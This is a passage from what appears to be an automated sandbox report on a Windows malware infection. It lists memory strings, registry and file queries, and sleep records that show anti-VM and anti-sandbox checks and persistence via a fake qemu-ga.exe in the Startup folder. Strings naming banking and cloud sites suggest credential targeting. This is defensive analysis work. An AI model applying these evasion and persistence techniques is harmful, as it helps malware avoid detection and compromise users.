FILES\ORACLE\JAVA\JAVAPATH;C:\WINDOWS\SYSTEM32;C:\WINDOWS;C:\WINDOWS\SYSTEM32\WBEM;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\;C:\WINDOWS\SYSTEM32\OPENSSH\;C:\USERS\user\APPDATA\LOCAL\MICROSOFT\WINDOWSAPPS;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=INTEL64 FAMILY 6 MODEL 143 STEPPING 8, GENUINEINTELPROCESSOR_LEVEL=6PROCESSOR_REVISION=8F08PROGRAMDATA=C:\PROGRAMDATAPROGRAMFILES=C:\PROGRAM FILESPROGRAMFILES(X86)=C:\PROGRAM FILES (X86)PROGRAMW6432=C:\PROGRAM FILESPSMODULEPATH=C:\PROGRAM FILES (X86)\WINDOWSPOWERSHELL\MODULES;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\MODULES;C:\PROGRAM FILES (X86)\AUTOIT3\AUTOITXPUBLIC=C:\USERS\PUBLICSESSIONNAME=CONSOLESYSTEMDRIVE=C:SYSTEMROOT=C:\WINDOWSTEMP=C:\USERS\user\APPDATA\LOCAL\TEMPTMP=C:\USERS\user\APPDATA\LOCAL\TEMPUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWS
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106926194.00000000065DA000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3108252625.00000000066C5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106278005.0000000006565000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3105830906.0000000006512000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXEH
                          Source: E5F3.exe, 0000001E.00000002.3100132740.0000000004D30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE10389479936}"
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: ORIGINALFILENAMEQEMU-GA.EXE0
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: INTERNALNAMEQEMU-GA.EXEH
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FILE//C:USERSuserAPPDATAROAMINGMICROSOFTWINDOWSSTART%20MENUPROGRAMSSTARTUPQEMU-GA.EXEPC
                          Source: E5F3.exe, 0000001E.00000002.3105665897.0000000006500000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FILE:///C:/USERS/user/APPDATA/ROAMING/MICROSOFT/WINDOWS/START%20MENU/PROGRAMS/STARTUP/QEMU-GA.EXE0H
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, BA7B.exe, 00000025.00000002.2853073711.0000000003017000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: WINE_GET_UNIX_FILE_NAME
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /C:/USERS/user/APPDATA/ROAMING/MICROSOFT/WINDOWS/START%20MENU/PROGRAMS/STARTUP/QEMU-GA.EXEB3
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEC2
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, BA7B.exe, 00000025.00000002.2853073711.0000000003017000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                          Source: WER3531.tmp.csv.6.drBinary or memory string: "QEMU-GA.EXE",5052,5,1626112,0,5,44461270,133518935270183137,156250,0,8,4835864576,4835864576,2781,10575872,10579968,180208,180032,11256,11256,9375744,9379840,9375744,6,0,157,26577,0,3148,166,1028,1,
                          Source: build2.exe, 00000015.00000002.2623374454.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3105665897.0000000006500000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FILE:///C:/USERS/user/APPDATA/ROAMING/MICROSOFT/WINDOWS/START%20MENU/PROGRAMS/STARTUP/QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ,PROSOFT\WINDOWS\START%20MENU\PROGRAMS\STARTUP\QEMU-GA.EXE<=Q*
                          Source: E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: <MODULE>QEMU-GAMSCORLIBTHREADCONSOLEREADLINEDEBUGGABLEATTRIBUTECOMVISIBLEATTRIBUTEASSEMBLYTITLEATTRIBUTEASSEMBLYTRADEMARKATTRIBUTETARGETFRAMEWORKATTRIBUTEASSEMBLYFILEVERSIONATTRIBUTEASSEMBLYCONFIGURATIONATTRIBUTEASSEMBLYDESCRIPTIONATTRIBUTECOMPILATIONRELAXATIONSATTRIBUTEASSEMBLYPRODUCTATTRIBUTEASSEMBLYCOPYRIGHTATTRIBUTEASSEMBLYCOMPANYATTRIBUTERUNTIMECOMPATIBILITYATTRIBUTEQEMU-GA.EXESYSTEM.THREADINGSYSTEM.RUNTIME.VERSIONINGPROGRAMSYSTEMMAINSYSTEM.REFLECTIONSLEEP.CTORSYSTEM.DIAGNOSTICSSYSTEM.RUNTIME.INTEROPSERVICESSYSTEM.RUNTIME.COMPILERSERVICESDEBUGGINGMODESARGSOBJECT
                          Source: BA7B.exe, 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, BA7B.exe, 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeMemory allocated: 22D0000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeMemory allocated: 26C0000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeMemory allocated: 46C0000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeMemory allocated: C60000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeMemory allocated: 2600000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeMemory allocated: 4600000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeMemory allocated: 1120000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeMemory allocated: 2BD0000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeMemory allocated: 2B00000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeMemory allocated: 7710000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeMemory allocated: 6E50000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Roaming\svchost.exeMemory allocated: 2C90000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Roaming\svchost.exeMemory allocated: 2C90000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Roaming\svchost.exeMemory allocated: 4C90000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Roaming\svchost.exeMemory allocated: 7490000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Roaming\svchost.exeMemory allocated: 70D0000 memory reserve | memory write watch
                          Source: C:\Users\user\AppData\Roaming\svchost.exeFile opened / queried: C:\WINDOWS\SysWOW64\drivers\vmmouse.sys
                          Source: C:\Users\user\AppData\Roaming\svchost.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 name: Identifier
                          Source: C:\Users\user\AppData\Roaming\svchost.exeFile opened / queried: C:\WINDOWS\SysWOW64\drivers\vmhgfs.sys
                          Source: C:\Users\user\AppData\Roaming\svchost.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\disk\Enum name: 0
                          Source: C:\Users\user\AppData\Roaming\svchost.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
                          Source: C:\Users\user\AppData\Roaming\svchost.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
                          Source: C:\Users\user\AppData\Roaming\svchost.exeFile opened / queried: C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys
                          Source: C:\Users\user\AppData\Roaming\svchost.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_02F4871C rdtsc 10_2_02F4871C
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,11_2_0040E670
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeThread delayed: delay time: 700000
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Roaming\svchost.exeThread delayed: delay time: 922337203685477
                          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 1323Jump to behavior
                          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 882Jump to behavior
                          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 3016Jump to behavior
                          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 879Jump to behavior
                          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 839Jump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWindow / User API: threadDelayed 2887
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWindow / User API: threadDelayed 1182
                          Source: C:\Windows\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\78E8.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_11-45021
                          Source: C:\Windows\explorer.exe TID: 4408Thread sleep time: -132300s >= -30000sJump to behavior
                          Source: C:\Windows\explorer.exe TID: 3528Thread sleep time: -88200s >= -30000sJump to behavior
                          Source: C:\Windows\explorer.exe TID: 5284Thread sleep time: -31300s >= -30000sJump to behavior
                          Source: C:\Windows\explorer.exe TID: 3448Thread sleep time: -34000s >= -30000sJump to behavior
                          Source: C:\Windows\explorer.exe TID: 4408Thread sleep time: -301600s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exe TID: 3964Thread sleep time: -700000s >= -30000s
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exe TID: 4092Thread sleep time: -90000s >= -30000s
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exe TID: 6624Thread sleep time: -12912720851596678s >= -30000s
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exe TID: 5008Thread sleep time: -922337203685477s >= -30000s
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exe TID: 6100Thread sleep time: -922337203685477s >= -30000s
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exe TID: 5064Thread sleep time: -922337203685477s >= -30000s
                          Source: C:\Windows\System32\svchost.exe TID: 6508Thread sleep time: -30000s >= -30000s
                          Source: C:\Windows\System32\svchost.exe TID: 3136Thread sleep time: -30000s >= -30000s
                          Source: C:\Users\user\AppData\Roaming\svchost.exe TID: 2584Thread sleep time: -922337203685477s >= -30000s
                          Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,11_2_00410160
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,11_2_0040F730
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,11_2_0040FB98
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeThread delayed: delay time: 700000
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Roaming\svchost.exeThread delayed: delay time: 922337203685477
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009AF9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0r
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696428655
                          Source: explorer.exe, 00000002.00000000.2020519450.0000000000F13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
                          Source: E5F3.exe, 0000001E.00000002.3077585578.0000000000675000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Local\Temp\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]q)C:\WINDOWS\system32\drivers\VBoxMouse.sys
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe:Zone.Identifier
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                          Source: build2.exe, 00000015.00000002.2624617563.00000000007F5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWh
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: ProductNameqemu-ga4
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /C:\Users\user\AppData\Roaming\Microsoft\Windows\Start%20Menu\Programs\Startup\qemu-ga.exeE3
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}e\Interface\{6D5140C1-7436-11CE-8034-00AA006009FA}\ProxyStubClsid32qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]q&C:\WINDOWS\system32\drivers\vmhgfs.sys
                          Source: EE23.exe, 0000000B.00000002.2423893393.0000000000839000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}nj,
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file//C:UsersuserAppDataRoamingMicrosoftWindowsStart%20MenuProgramsStartupqemu-ga.exePC
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /C:/Users/user/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/qemu-ga.exeb3
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696428655o
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3105665897.0000000006500000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file:///C:/Users/user/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
                          Source: explorer.exe, 00000002.00000000.2021398786.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
                          Source: 3EE1.exe, 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: model0Microsoft|VMWare|Virtual
                          Source: BA7B.exe, 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, BA7B.exe, 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696428655x
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe:Zone.Identifier
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeO<
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: InternalNameqemu-ga.exeH
                          Source: E5F3.exe, 0000001E.00000002.3077585578.0000000000675000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe11Winsta0\Default_Cl=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696428655f
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exe;
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696428655t
                          Source: E5F3.exe, 0000001E.00000002.3075982102.00000000001F0000.00000004.00000020.00040000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe\??\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeen-GBenen-USMyApplication.app
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696428655j
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exeqemu-ga.exe!
